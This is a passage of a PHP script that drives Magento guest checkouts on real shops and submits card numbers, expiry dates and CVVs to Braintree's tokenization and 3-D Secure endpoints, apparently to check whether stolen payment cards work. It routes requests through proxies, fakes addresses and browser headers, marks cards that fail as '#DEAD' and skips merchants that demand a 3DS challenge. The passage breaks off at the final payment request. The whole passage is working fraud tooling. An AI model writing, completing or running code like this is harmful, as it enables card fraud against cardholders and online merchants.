$getbearer = base64_decode(trim($matches[0], '"'));}
$bearer = g($getbearer, '"authorizationFingerprint":"', '"');
$merchant_id = g($getbearer, '"merchantId":"', '"');
if (strpos($curl, 'in your region')) {
$START++;
goto START;
}
if (!$bearer) {
$max_retry = 5;
$retry_count = 0;
do {
curl_setopt($ch, CURLOPT_URL, $checkout);
curl_setopt($ch, CURLOPT_CUSTOMREQUEST, 'GET');
$headers = array();
$headers[] = 'User-Agent: '.$ua.'';
$headers[] = 'Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8';
$headers[] = 'Accept-Language: en-US,en;q=0.5';
$headers[array_search('Cookie:', $headers) !== false ? array_search('Cookie:', $headers) + 1 : count($headers)] = 'Cookie: PHPSESSID=' . $sessionId . '; form_key=' . $form_key;
// $headers[] = 'Accept-Encoding: gzip';
curl_setopt_array($ch, [CURLOPT_COOKIEFILE => $cookie, CURLOPT_COOKIEJAR => $cookie]);
curl_setopt_array($ch, array(CURLOPT_HTTPHEADER => $headers, CURLOPT_FOLLOWLOCATION => 1, CURLOPT_RETURNTRANSFER => 1, CURLOPT_SSL_VERIFYPEER => 0, CURLOPT_SSL_VERIFYHOST => 0));
$curl = curl_exec($ch);
// $curl = gzdecode($curl);
$statuscode = curl_getinfo($ch, CURLINFO_HTTP_CODE);
$total_bandwidth = curl_getinfo($ch, CURLINFO_SIZE_UPLOAD) + curl_getinfo($ch, CURLINFO_SIZE_DOWNLOAD);
if ($statuscode == 0) {
$retry_count++;
if ($retry_count >= $max_retry) {
echo "$card CART MAXIMUM RETRY | REQUEST FAILED";
goto END;
}
sleep(1);
} else {
break;
}
curl_close($ch);
} while (true);
$pos_default = strpos($curl, '"is_default":true');
$pos_value = ($pos_default !== false) ? strrpos(substr($curl, 0, $pos_default), '"value":"') : false;
$country = ($pos_value !== false) ? strtolower(substr($curl, $pos_value + strlen('"value":"'), strpos($curl, '"', $pos_value + strlen('"value":"')) - ($pos_value + strlen('"value":"')))) : false;
$cart_id = g($curl, '"entity_id":"','"');
preg_match('/"ey.{997,}"/', $curl, $matches);
if (isset($matches[0])) {
$getbearer = base64_decode(trim($matches[0], '"'));}
$bearer = g($getbearer, '"authorizationFingerprint":"', '"');
$merchant_id = g($getbearer, '"merchantId":"', '"');
if (strpos($curl, 'in your region')) {
$START++;
goto START;
}
}
# =========== [ CHECKOUT ]
// $max_retry = 5;
// $retry_count = 0;
// do {
// curl_setopt($ch, CURLOPT_URL, $checkout);
// curl_setopt($ch, CURLOPT_CUSTOMREQUEST, 'GET');
// $headers = array();
// $headers[] = 'User-Agent: '.$ua.'';
// $headers[] = 'Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8';
// $headers[] = 'Accept-Language: en-US,en;q=0.5';
// $headers[array_search('Cookie:', $headers) !== false ? array_search('Cookie:', $headers) + 1 : count($headers)] = 'Cookie: PHPSESSID=' . $sessionId . '; form_key=' . $form_key;
// // $headers[] = 'Accept-Encoding: gzip';
// curl_setopt_array($ch, [CURLOPT_COOKIEFILE => $cookie, CURLOPT_COOKIEJAR => $cookie]);
// curl_setopt_array($ch, array(CURLOPT_HTTPHEADER => $headers, CURLOPT_FOLLOWLOCATION => 1, CURLOPT_RETURNTRANSFER => 1, CURLOPT_SSL_VERIFYPEER => 0, CURLOPT_SSL_VERIFYHOST => 0));
// $curl = curl_exec($ch);
// // $curl = gzdecode($curl);
// $statuscode = curl_getinfo($ch, CURLINFO_HTTP_CODE);
// $total_bandwidth = curl_getinfo($ch, CURLINFO_SIZE_UPLOAD) + curl_getinfo($ch, CURLINFO_SIZE_DOWNLOAD);
// if ($statuscode == 0) {
// $retry_count++;
// if ($retry_count >= $max_retry) {
// echo "$card CHECKOUT2 MAXIMUM RETRY | REQUEST FAILED";
// goto END;
// }
// sleep(1);
// } else {
// break;
// }
// curl_close($ch);
// } while (true);
// $pos_default = strpos($curl, '"is_default":true');
// $pos_value = ($pos_default !== false) ? strrpos(substr($curl, 0, $pos_default), '"value":"') : false;
// $country = ($pos_value !== false) ? strtolower(substr($curl, $pos_value + strlen('"value":"'), strpos($curl, '"', $pos_value + strlen('"value":"')) - ($pos_value + strlen('"value":"')))) : false;
// $cart_id = g($curl, '"entity_id":"','"');
// preg_match('/"ey.{997,}"/', $curl, $matches);
// if (isset($matches[0])) {
// $getbearer = base64_decode(trim($matches[0], '"'));}
// $bearer = g($getbearer, '"authorizationFingerprint":"', '"');
// $merchant_id = g($getbearer, '"merchantId":"', '"');
// if (strpos($curl, 'in your region')) {
// $START++;
// goto START;
// }
// if (!$bearer) {
// echo "#DEAD $card BRAINTREE AUTHORIZATION NOT FOUND <a href=\"$domain\" target=\"_blank\">$siteNumber</a>";
// goto END;
// }
fwrite(fopen("logs/logs.txt", "a"), "CHECKOUT $card $statuscode\n$cart_id $country\nBEARER: $bearer - $merchant_id \r\n\n");
# =========== [ ADDRESS ]
$currency_to_country = [
'EUR' => 'uk', // European Union countries, not just the UK
'IDR' => 'id', // Indonesia
'GBP' => 'uk', // United Kingdom
'AUD' => 'au', // Australia
'CAD' => 'ca', // Canada
'JPY' => 'jp', // Japan
'CHF' => 'ch', // Switzerland
'CNY' => 'cn', // China
'INR' => 'in', // India
'BRL' => 'br', // Brazil
'ZAR' => 'za', // South Africa
'MXN' => 'mx', // Mexico
'RUB' => 'ru', // Russia
'KRW' => 'kr', // South Korea
'SGD' => 'sg', // Singapore
'HKD' => 'hk', // Hong Kong
'NZD' => 'nz', // New Zealand
'USD' => 'us', // United States
'PLN' => 'pl', // Poland
'SEK' => 'se', // Sweden
'NOK' => 'no', // Norway
'DKK' => 'dk', // Denmark
'MYR' => 'my', // Malaysia
'THB' => 'th', // Thailand
'PHP' => 'ph', // Philippines
'TWD' => 'tw', // Taiwan
'SAR' => 'sa', // Saudi Arabia
'AED' => 'ae', // United Arab Emirates
'EGP' => 'eg', // Egypt
'TRY' => 'tr', // Turkey
'ILS' => 'il', // Israel
'CLP' => 'cl', // Chile
'COP' => 'co', // Colombia
'PEN' => 'pe', // Peru
'ARS' => 'ar', // Argentina
'VND' => 'vn', // Vietnam
'NGN' => 'ng', // Nigeria
'KES' => 'ke', // Kenya
'GHS' => 'gh', // Ghana
'MAD' => 'ma', // Morocco
'UAH' => 'ua', // Ukraine
'BDT' => 'bd', // Bangladesh
'PKR' => 'pk', // Pakistan
];
if (isset($currency_to_country[$currency])) {
$country = $currency_to_country[$currency];
}
$country_abbreviations = ["af", "al", "dz", "ad", "ao", "ar", "am", "au", "at", "az",
"bs", "bh", "bd", "bb", "by", "be", "bz", "bj", "bt", "bo",
"ba", "bw", "br", "bn", "bg", "bf", "bi", "kh", "cm", "ca",
"cv", "cf", "td", "cl", "cn", "co", "km", "cg", "cr", "hr",
"cu", "cy", "cz", "dk", "dj", "dm", "do", "tl", "ec", "eg",
"sv", "gq", "er", "ee", "sz", "et", "fj", "fi", "fr", "ga",
"gm", "ge", "de", "gh", "gr", "gd", "gt", "gn", "gw", "gy",
"ht", "hn", "hu", "is", "in", "id", "ir", "iq", "ie", "il",
"it", "ci", "jm", "jp", "jo", "kz", "ke", "ki", "xk", "kw",
"kg", "la", "lv", "lb", "ls", "lr", "ly", "li", "lt", "lu",
"mg", "mw", "my", "mv", "ml", "mt", "mh", "mr", "mu", "mx",
"fm", "md", "mc", "mn", "me", "ma", "mz", "mm", "na", "nr",
"np", "nl", "nz", "ni", "ne", "ng", "kp", "mk", "no", "om",
"pk", "pw", "pa", "pg", "py", "pe", "ph", "pl", "pt", "qa",
"ro", "ru", "rw", "kn", "lc", "vc", "ws", "sm", "st", "sa",
"sn", "rs", "sc", "sl", "sg", "sk", "si", "sb", "so", "za",
"kr", "ss", "es", "lk", "sd", "sr", "se", "ch", "sy", "tw",
"tj", "tz", "th", "tg", "to", "tt", "tn", "tr", "tm", "tv",
"ug", "ua", "ae", "gb", "us", "uk", "uy", "uz", "vu", "va", "ve",
"vn", "ye", "zm", "zw"];
$country = in_array($country, $country_abbreviations) ? $country : 'us';
// fwrite(fopen("logs/logs.txt", "a"), " $card $statuscode $total_bandwidth\n$pk $response\r\n\n");
fwrite(fopen("logs/logs.txt", "a"), "$country $card product_id:$product_id product_sku:$product_sku product_name:$product_name product_price:$product_price\r\n\n");
address: ### === [ ADDRESS ] [AU, BR, CA, CH, DE, DK, ES, FI, FR, GB, IE, IN, IR, MX, NL, NO, NZ, RS, TR, UA, US]
$countries = ['us', 'au', 'ca', 'ph', 'id'];
if (in_array($country, $countries)) {
getAddress($country);
} else {
getAddress1($country);
}
if ($country == 'uk') {
$country = 'gb';
$region = $city;
}
// $ustate = ucwords($region);
$pattern = '/{[^{}]*"title":"' . preg_quote($ustate) . '"[^{}]*}/';
preg_match($pattern, $curl, $matches);
$stateInfo = json_decode($matches[0], true);
$regionID = $stateInfo['value'];
$country = strtoupper($country);
# =========== [ SHIPPING ]
$max_retry = 5;
$retry_count = 0;
do {
curl_setopt($ch, CURLOPT_URL, $domain . '/rest/V1/guest-carts/'.$cart_id.'/estimate-shipping-methods');
curl_setopt($ch, CURLOPT_CUSTOMREQUEST, 'POST');
$postfield = '{"address":{"street":["'.$street.'"],"city":"'.$city.'","region":"'.$state.'","country_id":"'.$country.'","postcode":"'.$postcode.'","firstname":"'.$fname.'","lastname":"'.$lname.'","middlename":"","company":"","telephone":"'.$phone.'"}}';
$headers = array();
$headers[] = 'User-Agent: '.$ua.'';
$headers[] = 'Accept: */*';
$headers[] = 'Accept-Language: en-US,en;q=0.5';
$headers[] = 'Content-Type: application/json';
$headers[] = 'X-Requested-With: XMLHttpRequest';
$headers[] = 'DNT: 1';
$headers[] = 'Sec-GPC: 1';
$headers[] = 'Connection: keep-alive';
$headers[] = 'Sec-Fetch-Dest: empty';
$headers[] = 'Sec-Fetch-Mode: cors';
$headers[] = 'Sec-Fetch-Site: same-origin';
$headers[] = 'Pragma: no-cache';
$headers[] = 'Cache-Control: no-cache';
$headers[] = 'TE: trailers';
// $headers[] = 'Accept-Encoding: gzip';
curl_setopt_array($ch, [CURLOPT_COOKIEFILE => $cookie, CURLOPT_COOKIEJAR => $cookie]);
curl_setopt_array($ch, array(CURLOPT_HTTPHEADER => $headers, CURLOPT_FOLLOWLOCATION => 1, CURLOPT_RETURNTRANSFER => 1, CURLOPT_SSL_VERIFYPEER => 0, CURLOPT_SSL_VERIFYHOST => 0, CURLOPT_POSTFIELDS => $postfield));
$curl = curl_exec($ch);
// $curl = gzdecode($curl);
$statuscode = curl_getinfo($ch, CURLINFO_HTTP_CODE);
$total_bandwidth = curl_getinfo($ch, CURLINFO_SIZE_UPLOAD) + curl_getinfo($ch, CURLINFO_SIZE_DOWNLOAD);
if ($statuscode == 0) {
$retry_count++;
if ($retry_count >= $max_retry) {
echo "$card MAXIMUM RETRY | REQUEST FAILED";
goto END;
}
sleep(1);
} else {
break;
}
curl_close($ch);
} while (true);
fwrite(fopen("logs/logs.txt", "a"), "estimate-shipping-methods $card $statuscode $total_bandwidth\n$curl\r\n\n");
$msg = g($curl, '"message":"','"');
if (strpos($curl, 'entity')) {
exit("#DEAD $card $msg <a href=\"$domain\" target=\"_blank\">$siteNumber</a>");
}
$decoded_data = json_decode($curl, true);
if ($decoded_data === null || empty($decoded_data)) {
echo "#DEAD $card Error in shipping <a href=\"$domain\" target=\"_blank\">$siteNumber</a>";
exit;
}
function has_pickup_or_freeshipping($code) {
return stripos($code, 'pickup') !== false || stripos($code, 'freeshipping') !== false;
}
$amounts = array_column($decoded_data, 'amount');
$lowest_amount = min($amounts);
$indices_of_lowest = array_keys($amounts, $lowest_amount);
$index_of_lowest = null;
foreach ($indices_of_lowest as $index) {
if (!has_pickup_or_freeshipping($decoded_data[$index]['carrier_code'])) {
$index_of_lowest = $index;
break;
}
}
if ($index_of_lowest === null) {
$unique_amounts = array_unique($amounts);
sort($unique_amounts);
$next_lowest = $unique_amounts[1];
$index_of_lowest = array_search($next_lowest, $amounts);
}
$carrier_code = $decoded_data[$index_of_lowest]['carrier_code'];
$method_code = $decoded_data[$index_of_lowest]['method_code'];
# =========== [ SHIPPING 2 ]
SHIPPING:
$max_retry = 5;
$retry_count = 0;
do {
curl_setopt($ch, CURLOPT_URL, $domain . '/rest/V1/guest-carts/'.$cart_id.'/shipping-information');
curl_setopt($ch, CURLOPT_CUSTOMREQUEST, 'POST');
$postfield = '{"addressInformation":{"shipping_address":{"countryId":"'.$country.'","regionId":"'.$regionID.'","regionCode":"'.$region_code.'","region":"'.$region.'","street":["'.$street.'"],"company":"","telephone":"'.$phone.'","postcode":"'.$postcode.'","city":"'.$city.'","firstname":"'.$fname.'","lastname":"'.$lname.'"},"billing_address":{"countryId":"'.$country.'","regionId":"'.$regionID.'","regionCode":"'.$region_code.'","region":"'.$region.'","street":["'.$street.'"],"company":"","telephone":"'.$phone.'","postcode":"'.$postcode.'","city":"'.$city.'","firstname":"'.$fname.'","lastname":"'.$lname.'","saveInAddressBook":null},"shipping_method_code":"'.$method_code.'","shipping_carrier_code":"'.$carrier_code.'","extension_attributes":{}}}';
if ($regionID === null || empty($regionID)) {
$postfield = '{"addressInformation":{"shipping_address":{"countryId":"'.$country.'","regionCode":"'.$region_code.'","region":"'.$region.'","street":["'.$street.'"],"company":"","telephone":"'.$phone.'","postcode":"'.$postcode.'","city":"'.$city.'","firstname":"'.$fname.'","lastname":"'.$lname.'"},"billing_address":{"countryId":"'.$country.'","regionCode":"'.$region_code.'","region":"'.$region.'","street":["'.$street.'"],"company":"","telephone":"'.$phone.'","postcode":"'.$postcode.'","city":"'.$city.'","firstname":"'.$fname.'","lastname":"'.$lname.'","saveInAddressBook":null},"shipping_method_code":"'.$method_code.'","shipping_carrier_code":"'.$carrier_code.'","extension_attributes":{}}}';
}
$headers = array();
$headers[] = 'User-Agent: '.$ua.'';
$headers[] = 'Accept: */*';
$headers[] = 'Accept-Language: en-US,en;q=0.5';
$headers[] = 'Content-Type: application/json';
$headers[] = 'X-Requested-With: XMLHttpRequest';
$headers[] = 'DNT: 1';
$headers[] = 'Sec-GPC: 1';
$headers[] = 'Connection: keep-alive';
$headers[] = 'Sec-Fetch-Dest: empty';
$headers[] = 'Sec-Fetch-Mode: cors';
$headers[] = 'Sec-Fetch-Site: same-origin';
$headers[] = 'Priority: u=1';
$headers[] = 'Pragma: no-cache';
$headers[] = 'Cache-Control: no-cache';
// $headers[] = 'Accept-Encoding: gzip';
curl_setopt_array($ch, [CURLOPT_COOKIEFILE => $cookie, CURLOPT_COOKIEJAR => $cookie]);
curl_setopt_array($ch, array(CURLOPT_HTTPHEADER => $headers, CURLOPT_FOLLOWLOCATION => 1, CURLOPT_RETURNTRANSFER => 1, CURLOPT_SSL_VERIFYPEER => 0, CURLOPT_SSL_VERIFYHOST => 0, CURLOPT_POSTFIELDS => $postfield));
$curl = curl_exec($ch);
// $curl = gzdecode($curl);
$statuscode = curl_getinfo($ch, CURLINFO_HTTP_CODE);
$total_bandwidth = curl_getinfo($ch, CURLINFO_SIZE_UPLOAD) + curl_getinfo($ch, CURLINFO_SIZE_DOWNLOAD);
if ($statuscode == 0) {
$retry_count++;
if ($retry_count >= $max_retry) {
echo "$card MAXIMUM RETRY | REQUEST FAILED";
goto END;
}
sleep(1);
} else {
fwrite(fopen("logs/logs.txt", "a"), " $card $statuscode $total_bandwidth\n-$postfield\n=$curl\r\n\n");
break;
}
curl_close($ch);
} while (true);
if (strpos($curl, 'Error occurred during')) {
}
$amt = g($curl, '"base_grand_total":',',"');
# =========== [ TOTALS ]
$max_retry = 5;
$retry_count = 0;
do {
curl_setopt($ch, CURLOPT_URL, $domain . '/rest/V1/guest-carts/'.$cart_id.'/totals-information');
curl_setopt($ch, CURLOPT_CUSTOMREQUEST, 'POST');
$postfield = '{"addressInformation":{"address":{"countryId":"'.$country.'","region":"'.$state.'","postcode":"'.$postcode.'"},"shipping_method_code":"'.$method_code.'","shipping_carrier_code":"'.$carrier_code.'"}}';
$headers = array();
$headers[] = 'User-Agent: '.$ua.'';
$headers[] = 'Accept: */*';
$headers[] = 'Accept-Language: en-US,en;q=0.5';
$headers[] = 'Content-Type: application/json';
$headers[] = 'X-Requested-With: XMLHttpRequest';
$headers[] = 'DNT: 1';
$headers[] = 'Sec-GPC: 1';
$headers[] = 'Connection: keep-alive';
$headers[] = 'Sec-Fetch-Dest: empty';
$headers[] = 'Sec-Fetch-Mode: cors';
$headers[] = 'Sec-Fetch-Site: same-origin';
$headers[] = 'Pragma: no-cache';
$headers[] = 'Cache-Control: no-cache';
$headers[] = 'TE: trailers';
// $headers[] = 'Accept-Encoding: gzip';
curl_setopt_array($ch, [CURLOPT_COOKIEFILE => $cookie, CURLOPT_COOKIEJAR => $cookie]);
curl_setopt_array($ch, array(CURLOPT_HTTPHEADER => $headers, CURLOPT_FOLLOWLOCATION => 1, CURLOPT_RETURNTRANSFER => 1, CURLOPT_SSL_VERIFYPEER => 0, CURLOPT_SSL_VERIFYHOST => 0, CURLOPT_POSTFIELDS => $postfield));
$curl = curl_exec($ch);
// $curl = gzdecode($curl);
$statuscode = curl_getinfo($ch, CURLINFO_HTTP_CODE);
$total_bandwidth = curl_getinfo($ch, CURLINFO_SIZE_UPLOAD) + curl_getinfo($ch, CURLINFO_SIZE_DOWNLOAD);
if ($statuscode == 0) {
$retry_count++;
if ($retry_count >= $max_retry) {
echo "$card MAXIMUM RETRY | REQUEST FAILED";
goto END;
}
sleep(1);
} else {
fwrite(fopen("logs/logs.txt", "a"), " $card $statuscode $total_bandwidth\n-POSTFIELD:$postfield\n=$curl\r\n\n");
break;
}
curl_close($ch);
} while (true);
if (!$amt) {
$amt = g($curl, '"base_grand_total":',',"');
}
# =========== [ SET PAYMENT INFO ]
$max_retry = 5;
$retry_count = 0;
do {
curl_setopt($ch, CURLOPT_URL, $domain . '/rest/V1/guest-carts/'.$cart_id.'/set-payment-information');
curl_setopt($ch, CURLOPT_CUSTOMREQUEST, 'POST');
$postfield = '{"cartId":"'.$cart_id.'","paymentMethod":{"method":"braintree"},"email":"'.$email.'"}';
$headers = array();
$headers[] = 'User-Agent: '.$ua.'';
$headers[] = 'Accept: */*';
$headers[] = 'Accept-Language: en-US,en;q=0.5';
$headers[] = 'Content-Type: application/json';
$headers[] = 'X-Requested-With: XMLHttpRequest';
$headers[] = 'DNT: 1';
$headers[] = 'Sec-GPC: 1';
$headers[] = 'Connection: keep-alive';
$headers[] = 'Sec-Fetch-Dest: empty';
$headers[] = 'Sec-Fetch-Mode: cors';
$headers[] = 'Sec-Fetch-Site: same-origin';
$headers[] = 'Priority: u=1';
$headers[] = 'Pragma: no-cache';
$headers[] = 'Cache-Control: no-cache';
$headers[] = 'TE: trailers';
// $headers[] = 'Accept-Encoding: gzip';
curl_setopt_array($ch, [CURLOPT_COOKIEFILE => $cookie, CURLOPT_COOKIEJAR => $cookie]);
curl_setopt_array($ch, array(CURLOPT_HTTPHEADER => $headers, CURLOPT_FOLLOWLOCATION => 1, CURLOPT_RETURNTRANSFER => 1, CURLOPT_SSL_VERIFYPEER => 0, CURLOPT_SSL_VERIFYHOST => 0, CURLOPT_POSTFIELDS => $postfield));
$curl = curl_exec($ch);
// $curl = gzdecode($curl);
$statuscode = curl_getinfo($ch, CURLINFO_HTTP_CODE);
$total_bandwidth = curl_getinfo($ch, CURLINFO_SIZE_UPLOAD) + curl_getinfo($ch, CURLINFO_SIZE_DOWNLOAD);
if ($statuscode == 0) {
$retry_count++;
if ($retry_count >= $max_retry) {
echo "$card MAXIMUM RETRY | REQUEST FAILED";
goto END;
}
sleep(1);
} else {
fwrite(fopen("logs/logs.txt", "a"), " $card $statuscode $total_bandwidth\n$curl\r\n\n");
break;
}
curl_close($ch);
} while (true);
# =========== [ save-password ]
curl_setopt($ch, CURLOPT_URL, $domain . '/rest/V1/guest-carts/'.$cart_id.'/save-password');
curl_setopt($ch, CURLOPT_CUSTOMREQUEST, 'POST');
$postfield = '{"password":"'.$password.'"}';
$headers = array();
$headers[] = 'User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:124.0) Gecko/20100101 Firefox/124.0';
$headers[] = 'Accept: */*';
$headers[] = 'Accept-Language: en-US,en;q=0.5';
$headers[] = 'Content-Type: application/json';
$headers[] = 'X-Requested-With: XMLHttpRequest';
$headers[] = 'DNT: 1';
$headers[] = 'Sec-GPC: 1';
$headers[] = 'Connection: keep-alive';
$headers[array_search('Cookie:', $headers) !== false ? array_search('Cookie:', $headers) + 1 : count($headers)] = 'Cookie: PHPSESSID=' . $sessionId . '; form_key=' . $form_key;
curl_setopt_array($ch, [CURLOPT_COOKIEFILE => $cookie, CURLOPT_COOKIEJAR => $cookie]);
curl_setopt_array($ch, array(CURLOPT_HTTPHEADER => $headers, CURLOPT_FOLLOWLOCATION => 1, CURLOPT_RETURNTRANSFER => 1, CURLOPT_SSL_VERIFYPEER => 0, CURLOPT_SSL_VERIFYHOST => 0, CURLOPT_POSTFIELDS => $postfield));
$curl = curl_exec($ch);
curl_close($ch);
$statuscode = curl_getinfo($ch, CURLINFO_HTTP_CODE);
fwrite(fopen("logs/logs.txt", "a"), "save-password $card $statuscode\n$curl\r\n\n");
if (strpos($curl, 'route')) {
curl_setopt($ch, CURLOPT_URL, $domain . '/rest/V1/amasty_checkout/guest-carts/'.$cart_id.'/save-password');
curl_setopt($ch, CURLOPT_CUSTOMREQUEST, 'POST');
$postfield = '{"password":"'.$password.'"}';
$headers = array();
$headers[] = 'User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:124.0) Gecko/20100101 Firefox/124.0';
$headers[] = 'Accept: */*';
$headers[] = 'Accept-Language: en-US,en;q=0.5';
$headers[] = 'Content-Type: application/json';
$headers[] = 'X-Requested-With: XMLHttpRequest';
$headers[] = 'DNT: 1';
$headers[] = 'Sec-GPC: 1';
$headers[] = 'Connection: keep-alive';
$headers[array_search('Cookie:', $headers) !== false ? array_search('Cookie:', $headers) + 1 : count($headers)] = 'Cookie: PHPSESSID=' . $sessionId . '; form_key=' . $form_key;
curl_setopt_array($ch, [CURLOPT_COOKIEFILE => $cookie, CURLOPT_COOKIEJAR => $cookie]);
curl_setopt_array($ch, array(CURLOPT_HTTPHEADER => $headers, CURLOPT_FOLLOWLOCATION => 1, CURLOPT_RETURNTRANSFER => 1, CURLOPT_SSL_VERIFYPEER => 0, CURLOPT_SSL_VERIFYHOST => 0, CURLOPT_POSTFIELDS => $postfield));
$curl = curl_exec($ch);
curl_close($ch);
$statuscode = curl_getinfo($ch, CURLINFO_HTTP_CODE);
fwrite(fopen("logs/logs.txt", "a"), "save-password $card $statuscode\n$curl\r\n\n");
}
# =========== [ PROXY ]
$rproxy = 0;
PROXY:
if ($rproxy > 3) { echo "#DEAD $card PROXY | RETRIED FOR 3 TIMES"; return; }
$ch = curl_init();
if ($proxy_stats == 'on') curl_setopt_array($ch, [CURLOPT_PROXY => $proxy, CURLOPT_PROXYUSERPWD => $pw]);
curl_setopt($ch, CURLOPT_URL, 'https://api.ipapi.is/');
$headers = array();
curl_setopt_array($ch, array(CURLOPT_HTTPHEADER => $headers, CURLOPT_FOLLOWLOCATION => 1, CURLOPT_RETURNTRANSFER => 1, CURLOPT_SSL_VERIFYPEER => 0, CURLOPT_SSL_VERIFYHOST => 0));
$curl = curl_exec($ch);
curl_close($ch);
$ip1 = g($curl, '"ip": "','"');
$ip2 = g($curl, '"country": "','"');
$ip = "[IP:$ip1] [Country:$ip2]";
if (!$ip1) { $rproxy++; goto PROXY; }
# =========== [ PAYMENT ]
$max_retry = 5;
$retry_count = 0;
do {
curl_setopt($ch, CURLOPT_URL, 'https://payments.braintree-api.com/graphql');
curl_setopt($ch, CURLOPT_CUSTOMREQUEST, 'POST');
$postfield = '{"clientSdkMetadata":{"source":"client","integration":"custom","sessionId":"'.$session.'"},"query":"mutation TokenizeCreditCard($input: TokenizeCreditCardInput!) { tokenizeCreditCard(input: $input) { token creditCard { bin brandCode last4 expirationMonth expirationYear binData { prepaid healthcare debit durbinRegulated commercial payroll issuingBank countryOfIssuance productId } } } }","variables":{"input":{"creditCard":{"number":"'.$cc.'","expirationMonth":"'.$mm.'","expirationYear":"'.$yyyy4.'","cvv":"'.$cvv.'"},"options":{"validate":false}}},"operationName":"TokenizeCreditCard"}';
$headers = array();
$headers[] = 'User-Agent: '.$ua.'';
$headers[] = 'Accept: */*';
$headers[] = 'Accept-Language: en-US,en;q=0.5';
$headers[] = 'Content-Type: application/json';
$headers[] = 'Authorization: Bearer '.$bearer.'';
$headers[] = 'Braintree-Version: 2018-05-10';
$headers[] = 'Origin: https://assets.braintreegateway.com';
$headers[] = 'DNT: 1';
$headers[] = 'Sec-GPC: 1';
$headers[] = 'Connection: keep-alive';
$headers[] = 'Referer: https://assets.braintreegateway.com/';
$headers[] = 'Sec-Fetch-Dest: empty';
$headers[] = 'Sec-Fetch-Mode: cors';
$headers[] = 'Sec-Fetch-Site: cross-site';
$headers[] = 'Pragma: no-cache';
$headers[] = 'Cache-Control: no-cache';
$headers[] = 'TE: trailers';
// $headers[] = 'Accept-Encoding: gzip';
curl_setopt_array($ch, [CURLOPT_COOKIEFILE => $cookie, CURLOPT_COOKIEJAR => $cookie]);
curl_setopt_array($ch, array(CURLOPT_HTTPHEADER => $headers, CURLOPT_FOLLOWLOCATION => 1, CURLOPT_RETURNTRANSFER => 1, CURLOPT_SSL_VERIFYPEER => 0, CURLOPT_SSL_VERIFYHOST => 0, CURLOPT_POSTFIELDS => $postfield));
$curl = curl_exec($ch);
// $curl = gzdecode($curl);
$statuscode = curl_getinfo($ch, CURLINFO_HTTP_CODE);
$total_bandwidth = curl_getinfo($ch, CURLINFO_SIZE_UPLOAD) + curl_getinfo($ch, CURLINFO_SIZE_DOWNLOAD);
if ($statuscode == 0) {
$retry_count++;
if ($retry_count >= $max_retry) {
echo "$card MAXIMUM RETRY | REQUEST FAILED";
goto END;
}
sleep(1);
} else {
break;
}
curl_close($ch);
} while (true);
$ptoken = g($curl, '"token":"','"');
# =========== [ LOOKUP ]
$max_retry = 5;
$retry_count = 0;
do {
curl_setopt($ch, CURLOPT_URL, 'https://api.braintreegateway.com/merchants/'.$merchant_id.'/client_api/v1/payment_methods/'.$ptoken.'/three_d_secure/lookup');
curl_setopt($ch, CURLOPT_CUSTOMREQUEST, 'POST');
$postfield = '{"amount":"'.$amt.'","browserColorDepth":24,"browserJavaEnabled":true,"browserJavascriptEnabled":true,"browserLanguage":"en-US","browserScreenHeight":600,"browserScreenWidth":800,"browserTimeZone":-480,"deviceChannel":"Browser","additionalInfo":{"billingLine1":"'.$street.'","billingCity":"'.$city.'","billingState":"'.$state.'","billingPostalCode":"'.$postcode.'","billingCountryCode":"'.$country.'","billingPhoneNumber":"'.$phone.'","billingGivenName":"'.$fname.'","billingSurname":"'.$lname.'"},"dfReferenceId":"1_'.$session.'","clientMetadata":{"sdkVersion":"web/3.51.0","requestedThreeDSecureVersion":"2","cardinalDeviceDataCollectionTimeElapsed":871},"authorizationFingerprint":"'.$bearer.'","braintreeLibraryVersion":"braintree/web/3.51.0","_meta":{"merchantAppId":"'.$domain1.'","platform":"web","sdkVersion":"3.51.0","source":"client","integration":"custom","integrationType":"custom","sessionId":"'.$session.'"}}';
$headers = array();
$headers[] = 'User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:124.0) Gecko/20100101 Firefox/124.0';
$headers[] = 'Accept: */*';
$headers[] = 'Accept-Language: en-US,en;q=0.5';
$headers[] = 'Content-Type: application/json';
$headers[] = 'Origin: '.$domain.'';
$headers[] = 'DNT: 1';
$headers[] = 'Sec-GPC: 1';
$headers[] = 'Connection: keep-alive';
$headers[] = 'Referer: '.$domain.'/';
$headers[] = 'Sec-Fetch-Dest: empty';
$headers[] = 'Sec-Fetch-Mode: cors';
$headers[] = 'Sec-Fetch-Site: cross-site';
$headers[] = 'Pragma: no-cache';
$headers[] = 'Cache-Control: no-cache';
$headers[] = 'TE: trailers';
// $headers[] = 'Accept-Encoding: gzip';
curl_setopt_array($ch, [CURLOPT_COOKIEFILE => $cookie, CURLOPT_COOKIEJAR => $cookie]);
curl_setopt_array($ch, array(CURLOPT_HTTPHEADER => $headers, CURLOPT_FOLLOWLOCATION => 1, CURLOPT_RETURNTRANSFER => 1, CURLOPT_SSL_VERIFYPEER => 0, CURLOPT_SSL_VERIFYHOST => 0, CURLOPT_POSTFIELDS => $postfield));
$curl = curl_exec($ch);
// $curl = gzdecode($curl);
$statuscode = curl_getinfo($ch, CURLINFO_HTTP_CODE);
$total_bandwidth = curl_getinfo($ch, CURLINFO_SIZE_UPLOAD) + curl_getinfo($ch, CURLINFO_SIZE_DOWNLOAD);
if ($statuscode == 0) {
$retry_count++;
if ($retry_count >= $max_retry) {
echo "$card MAXIMUM RETRY | REQUEST FAILED";
goto END;
}
sleep(1);
} else {
break;
}
curl_close($ch);
} while (true);
fwrite(fopen("logs/logs.txt", "a"), " $card $statuscode\n$curl\r\n\n");
$status = g($curl, '"status":"','"');
if ($status == 'challenge_required' || $status == 'authenticate_frictionless_failed') {
exit("#DEAD $card [AMOUNT: $amt] [$status] $ip <a href=\"$domain\" target=\"_blank\">$siteNumber</a>");
}
$pnonce = g($curl, '"nonce":"','"');
$msg = g($curl, '"message":"','"');
if ($msg == 'Merchant account not 3D Secure enabled') {
$pnonce = $ptoken;
}
# =========== [ LAST ]
$max_retry = 5;
$retry_count = 0;
do {
curl_setopt($ch, CURLOPT_URL, $domain . '/rest/V1/guest-carts/'.$cart_id.'/payment-information');
curl_setopt($ch, CURLOPT_CUSTOMREQUEST, 'POST');
